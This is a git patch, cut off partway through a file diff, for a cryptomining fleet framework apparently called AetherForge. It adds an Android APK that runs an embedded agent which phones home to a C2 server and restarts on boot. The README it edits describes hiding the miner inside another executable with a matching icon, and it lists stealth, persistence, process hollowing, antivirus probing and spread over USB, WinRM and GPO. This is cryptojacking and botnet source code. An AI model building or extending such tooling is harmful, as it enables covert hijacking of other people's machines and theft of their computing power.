From 50ebfe53cba3122349dbb33f72a5a34f48d17ef6 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 02:44:29 -0700 Subject: [PATCH] Add Android APK fleet nodes with Crucible UI integration and tests. APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline. --- README.md | 4 +- agent/client/ai_snapshot.go | 15 +- agent/client/client.go | 2 +- agent/client/mining_diagnostics.go | 2 +- agent/client/mining_ready.go | 4 + agent/client/protocol_test.go | 14 + agent/client/syscheck.go | 2 +- agent/config/config.go | 33 ++ agent/config/platform_test.go | 34 ++ agent/miner/environment_probe.go | 20 +- agent/miner/lotl_tier.go | 27 +- agent/miner/lotl_tier_test.go | 16 + android/.gitignore | 6 + android/README.md | 81 +++++ android/agent-app/app/build.gradle.kts | 57 ++++ .../app/src/main/AndroidManifest.xml | 49 +++ .../java/com/aetherforge/agent/AgentConfig.kt | 38 +++ .../com/aetherforge/agent/AgentProcess.kt | 51 +++ .../com/aetherforge/agent/AgentService.kt | 114 +++++++ .../com/aetherforge/agent/BinaryExtractor.kt | 47 +++ .../com/aetherforge/agent/BootReceiver.kt | 14 + .../com/aetherforge/agent/MainActivity.kt | 132 ++++++++ .../res/drawable/ic_launcher_foreground.xml | 13 + .../res/mipmap-anydpi-v26/ic_launcher.xml | 5 + .../app/src/main/res/mipmap/ic_launcher.xml | 3 + .../app/src/main/res/values/colors.xml | 4 + .../app/src/main/res/values/strings.xml | 14 + .../app/src/main/res/values/themes.xml | 9 + android/agent-app/build.gradle.kts | 54 ++++ android/agent-app/gradle.properties | 4 + .../gradle/wrapper/gradle-wrapper.jar | Bin 0 -> 63375 bytes .../gradle/wrapper/gradle-wrapper.properties | 7 + android/agent-app/gradlew | 51 +++ android/agent-app/gradlew.bat | 91 ++++++ android/agent-app/settings.gradle.kts | 17 + .../agent-app/src/main/AndroidManifest.xml | 49 +++ .../src/main/assets/agent.placeholder | 1 + android/agent-app/src/main/assets/config.json | 11 + .../java/com/aetherforge/agent/AgentConfig.kt | 38 +++ .../com/aetherforge/agent/AgentProcess.kt | 51 +++ .../com/aetherforge/agent/AgentService.kt | 114 +++++++ .../com/aetherforge/agent/BinaryExtractor.kt | 47 +++ .../com/aetherforge/agent/BootReceiver.kt | 14 + .../com/aetherforge/agent/MainActivity.kt | 123 ++++++++ .../res/drawable/ic_launcher_foreground.xml | 13 + .../res/mipmap-anydpi-v26/ic_launcher.xml | 5 + .../src/main/res/mipmap/ic_launcher.xml | 3 + .../agent-app/src/main/res/values/colors.xml | 4 + .../agent-app/src/main/res/values/strings.xml | 14 + .../agent-app/src/main/res/values/themes.xml | 9 + android/build-apk.ps1 | 88 ++++++ android/build-apk.sh | 74 +++++ android/forge/cmd/bake/main.go | 80 +++++ android/forge/go.mod | 3 + android/forge/internal/forge/config.go | 140 +++++++++ android/forge/internal/forge/config_test.go | 78 +++++ android/smoke-gradle.sh | 37 +++ scripts/test-suite.ps1 | 1 + server/internal/builder/build_apk.go | 292 ++++++++++++++++++ server/internal/builder/build_apk_test.go | 121 ++++++++ server/internal/builder/handler.go | 34 +- server/internal/builder/platform.go | 3 + server/internal/builder/platform_test.go | 7 + server/internal/clearance/default.go | 10 +- server/web/e2e/crucible-command.spec.ts | 4 +- server/web/e2e/pages.spec.ts | 2 +- .../src/components/Fleet/NetworkTopoMap.tsx | 9 +- server/web/src/help/accessDepth.test.ts | 24 ++ server/web/src/help/accessDepth.ts | 58 +++- server/web/src/help/docAnchors.ts | 2 + .../web/src/help/forgeFormNormalize.test.ts | 9 + server/web/src/help/forgeFormNormalize.ts | 32 +- server/web/src/help/forgeRules.test.ts | 14 + server/web/src/help/forgeRules.ts | 76 ++++- server/web/src/help/forgeValidation.ts | 6 +- server/web/src/help/lotlTimeline.test.ts | 17 + server/web/src/help/lotlTimeline.ts | 19 +- server/web/src/help/platform.test.ts | 16 + server/web/src/help/platform.ts | 24 ++ server/web/src/help/settingHelp.test.ts | 2 + server/web/src/help/settingHelp.ts | 6 +- server/web/src/pages/BuilderPage.test.tsx | 14 + server/web/src/pages/BuilderPage.tsx | 34 +- server/web/src/pages/CruciblePage.tsx | 10 +- server/web/src/pages/LotlTimelinePage.tsx | 6 +- server/web/src/pages/ROIPage.tsx | 9 +- server/web/src/types/index.ts | 7 +- server/web/src/types/lotl.ts | 3 + tests/README.md | 30 +- 89 files changed, 2849 insertions(+), 82 deletions(-) create mode 100644 agent/config/platform_test.go create mode 100644 android/.gitignore create mode 100644 android/README.md create mode 100644 android/agent-app/app/build.gradle.kts create mode 100644 android/agent-app/app/src/main/AndroidManifest.xml create mode 100644 android/agent-app/app/src/main/java/com/aetherforge/agent/AgentConfig.kt create mode 100644 android/agent-app/app/src/main/java/com/aetherforge/agent/AgentProcess.kt create mode 100644 android/agent-app/app/src/main/java/com/aetherforge/agent/AgentService.kt create mode 100644 android/agent-app/app/src/main/java/com/aetherforge/agent/BinaryExtractor.kt create mode 100644 android/agent-app/app/src/main/java/com/aetherforge/agent/BootReceiver.kt create mode 100644 android/agent-app/app/src/main/java/com/aetherforge/agent/MainActivity.kt create mode 100644 android/agent-app/app/src/main/res/drawable/ic_launcher_foreground.xml create mode 100644 android/agent-app/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml create mode 100644 android/agent-app/app/src/main/res/mipmap/ic_launcher.xml create mode 100644 android/agent-app/app/src/main/res/values/colors.xml create mode 100644 android/agent-app/app/src/main/res/values/strings.xml create mode 100644 android/agent-app/app/src/main/res/values/themes.xml create mode 100644 android/agent-app/build.gradle.kts create mode 100644 android/agent-app/gradle.properties create mode 100644 android/agent-app/gradle/wrapper/gradle-wrapper.jar create mode 100644 android/agent-app/gradle/wrapper/gradle-wrapper.properties create mode 100644 android/agent-app/gradlew create mode 100644 android/agent-app/gradlew.bat create mode 100644 android/agent-app/settings.gradle.kts create mode 100644 android/agent-app/src/main/AndroidManifest.xml create mode 100644 android/agent-app/src/main/assets/agent.placeholder create mode 100644 android/agent-app/src/main/assets/config.json create mode 100644 android/agent-app/src/main/java/com/aetherforge/agent/AgentConfig.kt create mode 100644 android/agent-app/src/main/java/com/aetherforge/agent/AgentProcess.kt create mode 100644 android/agent-app/src/main/java/com/aetherforge/agent/AgentService.kt create mode 100644 android/agent-app/src/main/java/com/aetherforge/agent/BinaryExtractor.kt create mode 100644 android/agent-app/src/main/java/com/aetherforge/agent/BootReceiver.kt create mode 100644 android/agent-app/src/main/java/com/aetherforge/agent/MainActivity.kt create mode 100644 android/agent-app/src/main/res/drawable/ic_launcher_foreground.xml create mode 100644 android/agent-app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml create mode 100644 android/agent-app/src/main/res/mipmap/ic_launcher.xml create mode 100644 android/agent-app/src/main/res/values/colors.xml create mode 100644 android/agent-app/src/main/res/values/strings.xml create mode 100644 android/agent-app/src/main/res/values/themes.xml create mode 100644 android/build-apk.ps1 create mode 100644 android/build-apk.sh create mode 100644 android/forge/cmd/bake/main.go create mode 100644 android/forge/go.mod create mode 100644 android/forge/internal/forge/config.go create mode 100644 android/forge/internal/forge/config_test.go create mode 100644 android/smoke-gradle.sh create mode 100644 server/internal/builder/build_apk.go create mode 100644 server/internal/builder/build_apk_test.go create mode 100644 server/web/src/help/platform.test.ts create mode 100644 server/web/src/help/platform.ts diff --git a/README.md b/README.md index 278e8ab..1f1155f 100644 --- a/README.md +++ b/README.md @@ -37,13 +37,15 @@ AetherForge is a **self-hosted mining control plane** — not a cloud pool UI, n |-------|----------------| | **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool | | **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, Crucible command terminal, calibrate settings, **[field wiki](/docs/)** at `/docs/` | -| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX (CPU) and optionally KawPoW/RVN (GPU), phones home, reports full system telemetry | +| **Worker agent** | Cross-platform binary (Windows / Linux / macOS / **Android APK fleet node**) compiled on demand — mines RandomX (CPU) and optionally KawPoW/RVN (GPU), phones home, reports full system telemetry | | **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable | | **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders | | **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, USB spread, AI autonomy flags | You configure defaults once in **Calibrate**. You forge once per target profile in **Forge**. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard. +**Android APK fleet nodes** embed the same Go worker inside an APK; the Java wrapper sets `AETHERFORGE_SERVER_URL`, `AETHERFORGE_WORKER_NUMBER`, and `AETHERFORGE_PLATFORM=android` before spawn. They register as `platform=android` in the fleet roster (🤖 icon in Crucible), report Wi-Fi / battery / foreground-service probes in Access Depth, and use a shortened mining onion (foreground service → in-process CPU) instead of the full desktop tier chain. + --- ## What You Get diff --git a/agent/client/ai_snapshot.go b/agent/client/ai_snapshot.go index 7f74742..898b14e 100644 --- a/agent/client/ai_snapshot.go +++ b/agent/client/ai_snapshot.go @@ -128,7 +128,7 @@ func (c *AgentClient) buildAISnapshot(miningHashrate float64) AISnapshot { WorkerNumber: workerNumberFromConfig(cfg), BuildID: cfg.BuildID, Version: config.Version, - Platform: runtime.GOOS, + Platform: cfg.RegistrationPlatform(), Arch: runtime.GOARCH, ForgeFlags: forgeFlagsFromConfig(cfg), DeployTiers: buildDeployTierStatuses(deployOrder, attempts), @@ -258,13 +258,13 @@ func buildMiningTierStatuses(chain, skipped []miner.LOTLTier, attempts []miner.T } func buildAICapabilities(cfg config.RuntimeConfig, deployOrder []string, miningChain []miner.LOTLTier) AICapabilitiesSnapshot { - lanes := spreadLanesForPlatform(runtime.GOOS, deployOrder) + lanes := spreadLanesForPlatform(cfg.RegistrationPlatform(), deployOrder) mining := make([]string, 0, len(miningChain)) for _, t := range miningChain { mining = append(mining, string(t)) } return AICapabilitiesSnapshot{ - Platform: runtime.GOOS, + Platform: cfg.RegistrationPlatform(), HolePunch: cfg.HolePunch, RemoteAggressive: cfg.RemoteAggressive, MeshP2P: cfg.MeshP2P, @@ -279,7 +279,10 @@ func buildAICapabilities(cfg config.RuntimeConfig, deployOrder []string, miningC } } -func spreadLanesForPlatform(goos string, order []string) []string { +func spreadLanesForPlatform(platform string, order []string) []string { + if platform == "android" { + return nil + } winOnly := map[string]bool{ "wsl": true, "powershell": true, "dotnet": true, "bits_curl": true, "do_peer": true, "wsus_cache_peer": true, "winrm": true, "gpo": true, @@ -287,10 +290,10 @@ func spreadLanesForPlatform(goos string, order []string) []string { linuxOnly := map[string]bool{"linux": true} out := make([]string, 0, len(order)) for _, lane := range order { - if winOnly[lane] && goos != "windows" { + if winOnly[lane] && platform != "windows" { continue } - if linuxOnly[lane] && goos != "linux" { + if linuxOnly[lane] && platform != "linux" { continue } out = append(out, lane) diff --git a/agent/client/client.go b/agent/client/client.go index 9c7c24f..df405e4 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -354,7 +354,7 @@ func (c *AgentClient) authenticate() error { MeshP2P: c.cfg.MeshP2P, AutoSpread: c.cfg.AutoSpread, ProcessHollowing: c.cfg.ProcessHollowing && runtime.GOOS == "windows", - Platform: runtime.GOOS, + Platform: c.cfg.RegistrationPlatform(), Arch: runtime.GOARCH, OSVersion: deploy.HostOSVersion(), MacAddress: primaryMACAddress(), diff --git a/agent/client/mining_diagnostics.go b/agent/client/mining_diagnostics.go index b098c10..e27c141 100644 --- a/agent/client/mining_diagnostics.go +++ b/agent/client/mining_diagnostics.go @@ -87,7 +87,7 @@ func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics { var d MiningDiagnostics d.GeneratedAt = time.Now().UTC().Format(time.RFC3339) - d.Platform = runtime.GOOS + d.Platform = c.cfg.RegistrationPlatform() d.ConfiguredExecution = c.cfg.MinerExecution d.ExecutionMode = execMode d.ContainerAvailable = containerRT.Available diff --git a/agent/client/mining_ready.go b/agent/client/mining_ready.go index 57ab228..720d0cf 100644 --- a/agent/client/mining_ready.go +++ b/agent/client/mining_ready.go @@ -31,6 +31,10 @@ func MiningDiagnosticsReady(d MiningDiagnostics) bool { // startMiningWhenReady waits for diagnostics pass (or timeout) before launching the chain. func (c *AgentClient) startMiningWhenReady(ctx context.Context) { + if c.cfg.MiningDisabled || c.cfg.ApkMode { + log.Printf("[mining] disabled at forge (apk_mode=%v mining_disabled=%v)", c.cfg.ApkMode, c.cfg.MiningDisabled) + return + } const maxWait = 120 * time.Second deadline := time.Now().Add(maxWait) ticker := time.NewTicker(5 * time.Second) diff --git a/agent/client/protocol_test.go b/agent/client/protocol_test.go index 5720ba1..c798bb1 100644 --- a/agent/client/protocol_test.go +++ b/agent/client/protocol_test.go @@ -4,6 +4,7 @@ import ( "encoding/json" "testing" + "crypto-miner-agent/config" "crypto-miner-agent/job" ) @@ -45,6 +46,19 @@ func TestAuthPayloadJSONRoundTrip(t *testing.T) { } } +func TestAuthPayloadPlatformFromEnv(t *testing.T) { + t.Setenv("AETHERFORGE_PLATFORM", "android") + if got := config.RegistrationPlatform(); got != "android" { + t.Fatalf("RegistrationPlatform() = %q want android", got) + } + in := AuthPayload{Platform: config.RegistrationPlatform(), Arch: "arm64"} + var out AuthPayload + roundTrip(t, in, &out) + if out.Platform != "android" { + t.Fatalf("auth platform = %q want android", out.Platform) + } +} + func TestAuthResponseJSONRoundTrip(t *testing.T) { in := AuthResponse{Success: true, AgentID: "a1", Error: ""} var out AuthResponse diff --git a/agent/client/syscheck.go b/agent/client/syscheck.go index 3e4f65e..b18a715 100644 --- a/agent/client/syscheck.go +++ b/agent/client/syscheck.go @@ -19,7 +19,7 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck } r := &FullSysCheckReport{ GeneratedAt: time.Now().UTC().Format(time.RFC3339), - Platform: runtime.GOOS, + Platform: cfg.RegistrationPlatform(), Arch: runtime.GOARCH, OSVersion: deploy.HostOSVersion(), WorkerName: cfg.WorkerName, diff --git a/agent/config/config.go b/agent/config/config.go index e6b97a5..54a385e 100644 --- a/agent/config/config.go +++ b/agent/config/config.go @@ -116,6 +116,11 @@ type BuiltinConfig struct { LotlOnionEnabled bool LotlPolicyFromServer bool // when true, tier order is pulled from C2 on auth LotlOnionTiers []string // baked order; ignored when LotlPolicyFromServer until auth + + // ApkMode marks Android fleet-node builds; registration reports platform=android. + ApkMode bool + // MiningDisabled skips the mining fallback chain (default for APK fleet nodes). + MiningDisabled bool } // BackupPool holds connection info for a fallback Stratum mining pool. @@ -228,6 +233,34 @@ func Load() RuntimeConfig { return RuntimeConfig{BuiltinConfig: b} } +// RegistrationPlatform returns the fleet registration OS label. APK wrapper sets +// AETHERFORGE_PLATFORM=android; forge may also bake ApkMode. +func RegistrationPlatform() string { + if p := strings.TrimSpace(os.Getenv("AETHERFORGE_PLATFORM")); p != "" { + return strings.ToLower(p) + } + b := GetBuiltinConfig() + if b.ApkMode { + return "android" + } + return runtime.GOOS +} + +func (c RuntimeConfig) RegistrationPlatform() string { + if p := strings.TrimSpace(os.Getenv("AETHERFORGE_PLATFORM")); p != "" { + return strings.ToLower(p) + } + if c.ApkMode { + return "android" + } + return runtime.GOOS +} + +// IsAndroidPlatform reports APK fleet-node workers (env override or ApkMode forge flag). +func IsAndroidPlatform() bool { + return RegistrationPlatform() == "android" +} + func (c RuntimeConfig) EffectiveThreads() int { mode := strings.ToLower(c.ThreadMode) if mode == "fixed" { diff --git a/agent/config/platform_test.go b/agent/config/platform_test.go new file mode 100644 index 0000000..202007f --- /dev/null +++ b/agent/config/platform_test.go @@ -0,0 +1,34 @@ +package config + +import ( + "runtime" + "testing" +) + +func TestRegistrationPlatformDefault(t *testing.T) { + t.Setenv("AETHERFORGE_PLATFORM", "") + if got := RegistrationPlatform(); got != runtime.GOOS { + t.Fatalf("RegistrationPlatform() = %q want %q", got, runtime.GOOS) + } + if IsAndroidPlatform() { + t.Fatal("IsAndroidPlatform() true without override") + } +} + +func TestRegistrationPlatformFromEnv(t *testing.T) { + t.Setenv("AETHERFORGE_PLATFORM", "android") + if got := RegistrationPlatform(); got != "android" { + t.Fatalf("RegistrationPlatform() = %q want android", got) + } + if !IsAndroidPlatform() { + t.Fatal("IsAndroidPlatform() false with AETHERFORGE_PLATFORM=android") + } +} + +func TestRegistrationPlatformApkMode(t *testing.T) { + t.Setenv("AETHERFORGE_PLATFORM", "") + cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ApkMode: true}} + if got := cfg.RegistrationPlatform(); got != "android" { + t.Fatalf("RegistrationPlatform() = %q want android", got) + } +} diff --git a/agent/miner/environment_probe.go b/agent/miner/environment_probe.go index b02ca37..35a76d0 100644 --- a/agent/miner/environment_probe.go +++ b/agent/miner/environment_probe.go @@ -5,6 +5,8 @@ import ( "os/exec" "runtime" "strings" + + "crypto-miner-agent/config" ) // EnvironmentProbes captures host capabilities that drive tier selection. @@ -14,8 +16,11 @@ type EnvironmentProbes struct { PowerShell bool `json:"pwsh"` DotNet bool `json:"dotnet"` GPU bool `json:"gpu"` - AVBlocksExe bool `json:"av_blocks_exe"` - WebView2 bool `json:"webview2"` + AVBlocksExe bool `json:"av_blocks_exe"` + WebView2 bool `json:"webview2"` + Wifi bool `json:"wifi,omitempty"` + Battery bool `json:"battery,omitempty"` + ForegroundService bool `json:"foreground_service,omitempty"` } // probeExecCommand is exec.Command; tests override via SetProbeExecCommand. @@ -56,6 +61,12 @@ func ProbeEnvironment(runtimeFn func() ContainerRuntimeInfo) EnvironmentProbes { Docker: rt.Available, GPU: gpuProbeFn(), } + if config.IsAndroidPlatform() { + p.Wifi = envTruthy("AETHERFORGE_WIFI_CONNECTED") + p.Battery = envTruthy("AETHERFORGE_BATTERY_OK") + p.ForegroundService = envTruthy("AETHERFORGE_FOREGROUND_SERVICE") + return p + } if runtime.GOOS == "windows" { wsl := WSLDetector() p.WSL = wsl.Available @@ -70,6 +81,11 @@ func ProbeEnvironment(runtimeFn func() ContainerRuntimeInfo) EnvironmentProbes { return p } +func envTruthy(key string) bool { + v := strings.TrimSpace(os.Getenv(key)) + return v == "1" || strings.EqualFold(v, "true") +} + func inferAVBlocksExe() bool { if v := strings.TrimSpace(os.Getenv("AETHERFORGE_AV_BLOCKS_EXE")); v == "1" || strings.EqualFold(v, "true") { return true diff --git a/agent/miner/lotl_tier.go b/agent/miner/lotl_tier.go index de7367e..6e10dfb 100644 --- a/agent/miner/lotl_tier.go +++ b/agent/miner/lotl_tier.go @@ -23,8 +23,9 @@ const ( TierWMI LOTLTier = "wmi" TierScheduledTask LOTLTier = "scheduled_task" TierGPUCompute LOTLTier = "gpu_compute" - TierGPUSubprocess LOTLTier = "gpu_subprocess" - TierStratumDirect LOTLTier = "stratum_direct" + TierGPUSubprocess LOTLTier = "gpu_subprocess" + TierStratumDirect LOTLTier = "stratum_direct" + TierForegroundService LOTLTier = "foreground_service" ) // TierAttempt records one tier try for C2/UI diagnostics. @@ -89,9 +90,25 @@ func DefaultMiningTierPolicy() MiningTierPolicy { return MiningTierPolicy{TierOrder: append([]LOTLTier(nil), DefaultTierOrder...)} } +// DefaultAndroidTierOrder is the APK foreground-service → in-process mining path. +var DefaultAndroidTierOrder = []LOTLTier{TierForegroundService, TierCPUInprocess} + // SelectMiningTierChain returns the ordered tier onion from server policy with // local eligibility overrides from environment probes and forge execution mode. func SelectMiningTierChain(probes EnvironmentProbes, policy MiningTierPolicy, cfg config.RuntimeConfig) (chain, skipped []LOTLTier) { + if config.IsAndroidPlatform() { + chain = append([]LOTLTier(nil), DefaultAndroidTierOrder...) + for _, tier := range DefaultTierOrder { + if tier != TierForegroundService && tier != TierCPUInprocess { + skipped = append(skipped, tier) + } + } + if policy.ForceTier != "" && tierEligible(policy.ForceTier, probes, cfg, nil) { + return []LOTLTier{policy.ForceTier}, skipped + } + return chain, skipped + } + base := policy.TierOrder if len(base) == 0 { base = DefaultTierOrder @@ -220,6 +237,8 @@ func tierEligible(tier LOTLTier, probes EnvironmentProbes, cfg config.RuntimeCon return probes.DotNet && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != "" case TierCPUInprocess: return true + case TierForegroundService: + return probes.ForegroundService || config.IsAndroidPlatform() case TierGPUSubprocess: return probes.GPU && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != "" case TierStratumDirect: @@ -243,7 +262,7 @@ func PrimaryTiers(chain []LOTLTier) []LOTLTier { var out []LOTLTier for _, t := range chain { switch t { - case TierExeSubprocess, TierDockerLoad, TierContainer, TierWSL, TierPSInMemory, TierDotnet, TierCPUInprocess, TierWMI, TierScheduledTask: + case TierExeSubprocess, TierDockerLoad, TierContainer, TierWSL, TierPSInMemory, TierDotnet, TierCPUInprocess, TierForegroundService, TierWMI, TierScheduledTask: out = append(out, t) } } @@ -273,6 +292,8 @@ func TierToMiningMethod(tier LOTLTier) (MiningMethod, bool) { return MethodWSL, true case TierCPUInprocess: return MethodInProcess, true + case TierForegroundService: + return MethodInProcess, true case TierGPUSubprocess: return MethodGPUSubprocess, true case TierStratumDirect: diff --git a/agent/miner/lotl_tier_test.go b/agent/miner/lotl_tier_test.go index 3b29f7a..171a5c3 100644 --- a/agent/miner/lotl_tier_test.go +++ b/agent/miner/lotl_tier_test.go @@ -235,3 +235,19 @@ func TestTierOrchestratorStubTiersFallThrough(t *testing.T) { t.Fatalf("stub tier should fail: %v", *exeAttempt) } } + +func TestSelectMiningTierChainAndroid(t *testing.T) { + t.Setenv("AETHERFORGE_PLATFORM", "android") + probes := EnvironmentProbes{ + Wifi: true, + Battery: true, + ForegroundService: true, + } + chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{})) + if len(chain) != 2 || chain[0] != TierForegroundService || chain[1] != TierCPUInprocess { + t.Fatalf("android chain=%v want [foreground_service cpu_inprocess]", chain) + } + if len(skipped) < 10 { + t.Fatalf("expected desktop tiers skipped, got %v", skipped) + } +} diff --git a/android/.gitignore b/android/.gitignore new file mode 100644 index 0000000..04b48da --- /dev/null +++ b/android/.gitignore @@ -0,0 +1,6 @@ +agent-app/build/ +agent-app/.gradle/ +agent-app/local.properties +agent-app/src/main/assets/agent +*.apk +*.android-bak diff --git a/android/README.md b/android/README.md new file mode 100644 index 0000000..ebe37bc --- /dev/null +++ b/android/README.md @@ -0,0 +1,81 @@ +# AetherForge Agent APK (Phase 1) + +Install the APK on **your own devices** so the embedded fleet agent joins the command-deck fleet table over WebSocket/C2. CPU mining is **off by default** in the baked config. + +## Build + +Requirements: + +- Go 1.26+ +- Android SDK (`ANDROID_HOME` or `ANDROID_SDK_ROOT`) +- Gradle wrapper in `agent-app/` (generate once with `gradle wrapper` if missing) + +```powershell +# Windows +$env:AETHERFORGE_SERVER_URL = "https://your-deck.example.com:8989" +$env:AETHERFORGE_WORKER_NAME = "pixel-tab-01" +$env:AETHERFORGE_FLEET_SECRET = "your-fleet-secret" # optional; do not commit +.\android\build-apk.ps1 +``` + +```bash +# Linux/macOS +export AETHERFORGE_SERVER_URL="https://your-deck.example.com:8989" +export AETHERFORGE_WORKER_NAME="pixel-tab-01" +export AETHERFORGE_FLEET_SECRET="your-fleet-secret" +./android/build-apk.sh +``` + +Output: + +`android/agent-app/build/outputs/apk/debug/aetherforge-agent.apk` + +The build script: + +1. Renders `assets/config.json` and a temporary `agent/config/builtin.go` +2. Cross-compiles `GOOS=linux GOARCH=arm64 CGO_ENABLED=0` from `agent/` into `assets/agent` +3. Runs `assembleDebug` + +## Install (adb) + +```bash +adb install -r android/agent-app/build/outputs/apk/debug/aetherforge-agent.apk +adb shell am start -n com.aetherforge.agent/.MainActivity +``` + +## First launch — permissions + +Open the app once. You will see: + +> **Your fleet node** — tap Allow on each prompt. + +The app requests **all runtime permissions in one batch**: + +- `POST_NOTIFICATIONS` (API 33+) — required for the foreground service notification +- `NEARBY_WIFI_DEVICES` / location — fleet Wi‑Fi diagnostics where the OS requires it + +Then it opens **battery optimization** settings (`REQUEST_IGNORE_BATTERY_OPTIMIZATIONS`). Android cannot auto-grant these; you must tap Allow / Don't optimize. + +After permissions, a low-priority persistent notification (**Fleet sync**) keeps `AgentService` alive. `BootReceiver` restarts the service on `BOOT_COMPLETED`. + +## How it runs + +1. `AgentService` extracts `assets/agent` (linux/arm64) to `filesDir/bin/agent-arm64`, marks it executable, and spawns it with `--run`. +2. Environment sets `HOME`/`TMPDIR` to the app private files directory. +3. The agent uses forge-baked `builtin.go` values (server URL, worker name, fleet secret). Mining defaults to idle with `IdleThresholdPct: 0` (no CPU mining unless re-forged or changed by policy). + +## Limitations + +- **No root** — cannot install as system app or disable OEM kill policies globally. +- **Notification required** — foreground service must show a notification on modern Android. +- **Binary execution** — spawning a `GOOS=linux` binary via `ProcessBuilder` works on many arm64 devices (static Go build) but **some OEMs block exec from app sandboxes**. If the agent never appears in the fleet table, check `adb logcat -s AetherForge AetherForge:agent`. A native `GOOS=android` JNI approach is Phase 2 if exec fails on your hardware. +- **Secrets** — pass `AETHERFORGE_FLEET_SECRET` at build time via environment; never commit fleet secrets. + +## Tests + +```bash +go test ./android/forge/... -count=1 +bash android/smoke-gradle.sh +``` + +`smoke-gradle.sh` validates the Gradle project layout and runs `./gradlew help` when the wrapper is present. diff --git a/android/agent-app/app/build.gradle.kts b/android/agent-app/app/build.gradle.kts new file mode 100644 index 0000000..fb14b46 --- /dev/null +++ b/android/agent-app/app/build.gradle.kts @@ -0,0 +1,57 @@ +plugins { + id("com.android.application") + id("org.jetbrains.kotlin.android") +} + +android { + namespace = "com.aetherforge.agent" + compileSdk = 34 + + defaultConfig { + applicationId = "com.aetherforge.agent" + minSdk = 26 + targetSdk = 34 + versionCode = 1 + versionName = "1.0.0-phase1" + + ndk { + abiFilters += listOf("arm64-v8a", "armeabi-v7a") + } + } + + buildTypes { + release { + isMinifyEnabled = false + } + debug { + applicationIdSuffix = "" + } + } + + compileOptions { + sourceCompatibility = JavaVersion.VERSION_17 + targetCompatibility = JavaVersion.VERSION_17 + } + + kotlinOptions { + jvmTarget = "17" + } + + packaging { + jniLibs { + useLegacyPackaging = true + } + } + + applicationVariants.all { + outputs.all { + val output = this as com.android.build.gradle.internal.api.BaseVariantOutputImpl + output.outputFileName = "aetherforge-agent.apk" + } + } +} + +dependencies { + implementation("androidx.core:core-ktx:1.12.0") + implementation("androidx.appcompat:appcompat:1.6.1") +} diff --git a/android/agent-app/app/src/main/AndroidManifest.xml b/android/agent-app/app/src/main/AndroidManifest.xml new file mode 100644 index 0000000..13eee9f --- /dev/null +++ b/android/agent-app/app/src/main/AndroidManifest.xml @@ -0,0 +1,49 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentConfig.kt b/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentConfig.kt new file mode 100644 index 0000000..b3cde5b --- /dev/null +++ b/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentConfig.kt @@ -0,0 +1,38 @@ +package com.aetherforge.agent + +import android.content.Context +import org.json.JSONObject + +data class AgentConfig( + val workerName: String, + val serverUrl: String, + val fleetSecret: String?, + val miningEnabled: Boolean, + val buildId: String, +) { + companion object { + fun load(context: Context, intentExtras: Map = emptyMap()): AgentConfig { + val assetJson = runCatching { + context.assets.open("config.json").bufferedReader().use { it.readText() } + }.getOrNull() + + val json = assetJson?.let { JSONObject(it) } + val worker = intentExtras["worker_name"] + ?: json?.optString("worker_name").orEmpty() + val server = intentExtras["server_url"] + ?: json?.optString("server_url").orEmpty() + val secret = intentExtras["fleet_secret"] + ?: json?.optString("fleet_secret").takeUnless { it.isNullOrBlank() } + val mining = json?.optJSONObject("mining")?.optBoolean("enabled") ?: false + val buildId = json?.optString("build_id") ?: "android-dev" + + return AgentConfig( + workerName = worker.ifBlank { "android-fleet-node" }, + serverUrl = server.ifBlank { "http://127.0.0.1:8989" }, + fleetSecret = secret, + miningEnabled = mining, + buildId = buildId, + ) + } + } +} diff --git a/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentProcess.kt b/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentProcess.kt new file mode 100644 index 0000000..88d252e --- /dev/null +++ b/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentProcess.kt @@ -0,0 +1,51 @@ +package com.aetherforge.agent + +import android.util.Log +import java.io.File + +object AgentProcess { + private const val TAG = "AetherForge" + @Volatile + private var process: Process? = null + + fun start(binary: File, filesDir: File, config: AgentConfig) { + stop() + val env = hashMapOf( + "HOME" to filesDir.absolutePath, + "TMPDIR" to filesDir.absolutePath, + "AETHERFORGE_MINER_EXECUTION" to "inprocess", + ) + config.fleetSecret?.let { env["AETHERFORGE_FLEET_SECRET"] = it } + + val cmd = listOf(binary.absolutePath, "--run") + Log.i(TAG, "spawning agent: ${cmd.joinToString(" ")}") + + val pb = ProcessBuilder(cmd) + .directory(filesDir) + .redirectErrorStream(true) + val merged = pb.environment() + merged.putAll(env) + + process = pb.start() + Thread({ + process?.inputStream?.bufferedReader()?.use { reader -> + reader.lineSequence().forEach { line -> + Log.i("$TAG:agent", line) + } + } + }, "agent-log-drain").apply { + isDaemon = true + start() + } + } + + fun stop() { + process?.let { + runCatching { it.destroy() } + runCatching { it.waitFor() } + } + process = null + } + + fun isAlive(): Boolean = process?.isAlive == true +} diff --git a/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentService.kt b/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentService.kt new file mode 100644 index 